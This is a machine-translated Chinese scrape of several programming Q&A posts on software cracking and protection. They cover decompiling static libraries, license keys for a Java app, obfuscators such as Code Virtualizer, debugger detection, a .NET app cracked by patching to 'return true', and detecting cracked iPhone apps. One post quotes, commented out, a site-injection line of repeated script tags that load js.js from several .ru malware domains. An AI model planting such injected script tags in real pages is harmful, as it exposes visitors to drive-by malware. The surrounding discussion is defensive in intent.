我刚刚在Objective-C中完成了一个库,我将其编译为静态库以进行分发.
我想知道这种反编译的机会是什么.
编辑:我的静态库是为iPhone/ARM制作的
我创建了一个算法,根据应用程序的一些参数,它可以作为演示或完整代码运行.使用X变量初始化对象并解锁完整版本.我想知道他们是否能够看到这个算法,这样他们就可以创建一个密钥生成器.
我想用PayPal销售我的Java应用程序.收到付款后,客户会通过邮件向我的应用程序发送一次性下载链接.
我的问题是,如何阻止人们将.jar文件发送给他们的朋友/上传到互联网上?
显然我需要在应用程序中进行某种检查,只允许它在一台计算机上运行.这是另一个问题,我不希望客户在一台计算机上有限制,他们应该能够在家里和工作中运行它等.
也许某种cd-key可以解决这个问题?那里有Java的任何cd-key资源吗?或者我应该建立自己的算法?这是另一个问题,逆向工程..
请帮帮我解决这个:)
我的意思是,我总是想知道如何有人可以开发算法来打破/欺骗许多共享软件程序中合法使用的限制.
只是为了好奇.
我父亲今天打电话给我,说他们去他的网站的人有168种病毒试图下载到他们的电脑上.他根本不是技术人员,用WYSIWYG编辑器构建了整个东西.
我打开他的网站并查看了源代码,在关闭HTML标记之前,源代码底部有一行Javascript包含.他们包括这个文件(以及许多其他文件):http://www.98hs.ru/js.js < - 在你去URL之前关掉JAVASCRIPT.
所以我现在评论它.事实证明他的FTP密码是一个普通的字典单词六个字母长,所以我们认为这是如何被黑客攻击.我们已经将他的密码更改为一个8位以上的非单词字符串(他不会用密码短语,因为他是一个狩猎的傻瓜).
我在98hs.ru上做了一个whois,发现它是从智利的服务器托管的.实际上还有一个与之相关的电子邮件地址,但我严重怀疑这个人是罪魁祸首.可能只是其他一些被黑客入侵的网站......
我不知道在这一点上该做什么,因为我以前从未处理过这类事情.有人有什么建议吗?
他通过webhost4life.com使用普通的jane un-secured ftp.我甚至没有看到在他们的网站上做 sftp 的方法.我在想他的用户名和密码被截获了吗?
因此,为了使这与社区更相关,您应采取哪些步骤/最佳做法,以保护您的网站免遭黑客入侵?
为了记录,这里是"神奇地"添加到他的文件中的代码行(并且不在他的计算机上的文件中 - 我留下它注释掉,只是为了绝对确定它不会做任何事情在这个页面上,虽然我确信杰夫会防范这个):
<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script …Run Code Online (Sandbox Code Playgroud) 这是我们在某些时候都必须考虑的问题.
经过多年和许多方法,我倾向于同意这个问题:"对于超过几百人使用的任何受保护软件,你可以找到破解版本.到目前为止,每个保护方案都可以被篡改." 您的雇主是否强制使用反盗版软件?
此外,每次我发布这个主题,有人会提醒我; "首先,无论你采用什么样的保护措施,真正专注的饼干最终都会通过所有的保护屏障." 对于单个开发人员而言,c#代码保护的最佳价值是什么?
因此,不要承受这两个广泛真实的免责声明,让我们谈谈"保护"!
我仍然觉得,对于那些不太可能提高熟练破解者时间和注意力的小型应用程序,保护是值得的.
很明显,无论你做什么,如果破解者可以通过修补应用程序来切换IF语句(jmp)的结果,那么世界上所有的密码和加密狗都无济于事.
因此,我的方法是使用以下产品对虚拟化代码进行混淆:http: //www.oreans.com/codevirtualizer.php 我对此产品非常满意.据我所知,它已经被打败了.我甚至可以使用PEcompact压缩可执行文件是否有其他人有使用它的经验?
只有EXEcryptor的问题 http://www.strongbit.com/news.asp 甚至该网站使用起来很麻烦.在进行任何WMI调用时,编译的应用程序将崩溃.
这种方法允许您通过混淆来包围较小的代码段,从而保护安全检查等.
我使用在线授权方法,因为应用程序需要定期从服务器获取数据,因此用户无需长时间离线使用它.根据定义,即使它被破解,该应用程序也毫无价值.
因此,简单的加密握手非常有用.我只是偶然在混淆保护中检查它.如果用户在另一台计算机上安装该应用程序,则在启动时会上载新ID,并且服务器会禁用旧ID并返回新的授权.
我还使用已编译应用程序的哈希值并在启动时检查它以查看是否有一个位已更改,然后从应用程序中打开应用程序作为文件(带有读取锁定)以防止任何人在启动后更改它.
由于所有静态字符串在.exe文件中都清晰可见,因此我尝试使用错误消息等通用字符串.您无法在任何地方找到字符串"授权失败".
为了防止内存转储,我使用简单的文本混淆技术(比如每个字符的XOR)这使得内存中的纯文本数据更难以与变量等区分开来.
当然,对于任何非常敏感的数据都有AES.我喜欢文本的计数器模式,因为这不会导致重复序列显示基础数据,如一系列空白.
但是使用所有这些技术,如果Key或Initialization向量可以从内存中转储,或者IF语句被绕过,那么一切都会被浪费掉.
我倾向于使用switch语句而不是条件语句.然后我创建了一个基本上是死胡同的第二个函数,而不是实际执行所需任务的函数.
另一个想法是编写添加了变量的指针.变量是授权的结果(通常为零).这将不可避免地在某个时候导致GPF.在一些较低级别的授权失败之后,我只使用它作为最后的手段,否则真正的用户可能会遇到它.然后降低软件的声誉.
你用什么技术?
(这不是讨论实现某些东西的优点的线索.它是为那些已经决定做某事的人而设计的)
我知道没有办法完全保护我们的代码.我也知道,如果用户想要破解我们的应用程序,那么他或她不是购买我们的应用程序的用户.我也知道改善我们的应用程序更好..而不是害怕防裂技术.我也知道没有商业工具可以保护我们的应用....我也知道....
好.足够.我听到了一切.我真的认为增加一点保护不会受到伤害.
所以....你曾经使用过来自oreans或vmprotect的代码virtulizer吗?我听说他们有时被某些杀毒软件检测为病毒.
在购买之前我应该注意的任何经验.我知道它会创建一些虚拟机并对代码进行模糊处理,以便更难找到注册例程的弱点.
有什么警告我应该知道吗?
谢谢.任何意见,将不胜感激.
乱切
有没有办法检测调试器是否在内存中运行?
这里是Form Load伪代码.
if debugger.IsRunning then
Application.exit
end if
Run Code Online (Sandbox Code Playgroud)
编辑:原始标题是"检测内存调试器"
我将首先说我知道不可能阻止您的软件进行逆向工程.
但是,当我看一下crackmes.de时,有一个难度等级为8和9的裂缝(在1到10的等级上).这些裂缝正在被天才大脑破解,他们写了一篇如何破解它的教程.有时,这样的教程长达13页!
当我试图制作一个crackme时,他们会在10分钟内破解它.接下来是一个长度为20行的"如何破解"教程.
所以问题是:
我真的很难过,因为几天前我们推出了在.Net 4.0(桌面应用程序)中开发的软件.3天后,它的裂缝在互联网上可用.我们试图保护软件不受此影响,但不知何故,人们逃脱了它.
下面是场景:当应用程序第一次启动时,它会与Web服务器通信并检查用户传递的凭据.如果凭据正确,则软件会将值保存在注册表中,将MachineID发送回服务器并将其存储在数据库中.
现在,黑客用"return true"取代了Server通信.声明(我用Telrik JustDecompile检查过).他已经在互联网上上传了破解的软件.
现在,以下是我的问题:
1-如何确保.Net应用程序不会被破解?
2-黑客现在知道我的代码,因为他已完成修改.我应该采取什么措施?
3-我在网上看到 - 混淆器.但黑客知道我的代码该怎么办?
4-我可以使用任何其他专业提示,以避免软件破解?
5-我不确定但这些反射器软件是否也能用敏感数据反编译App.Config?
我正在为破解的iPhone应用程序构建黑名单服务,如果我错过了检测破解应用程序的方法,我很好奇.
在下面的应用程序裂缝检测方法可用于该服务:
我也想知道是否有可能检查设备是否已越狱?这也有帮助,因为该服务将像垃圾邮件黑名单一样工作,越狱可用于提高分数.
我还包括一个蜜罐,它告诉我,破解者使用的工具消除了我做的一些检查.例如,plist检查大小或签名者身份.
我现在的问题是:
和
谢谢你的帮助!
cracking ×10
.net ×2
protection ×2
c# ×1
debugging ×1
decompiler ×1
decompiling ×1
detection ×1
in-memory ×1
iphone ×1
java ×1
licensing ×1
obfuscation ×1
objective-c ×1
piracy ×1
security ×1
xcode ×1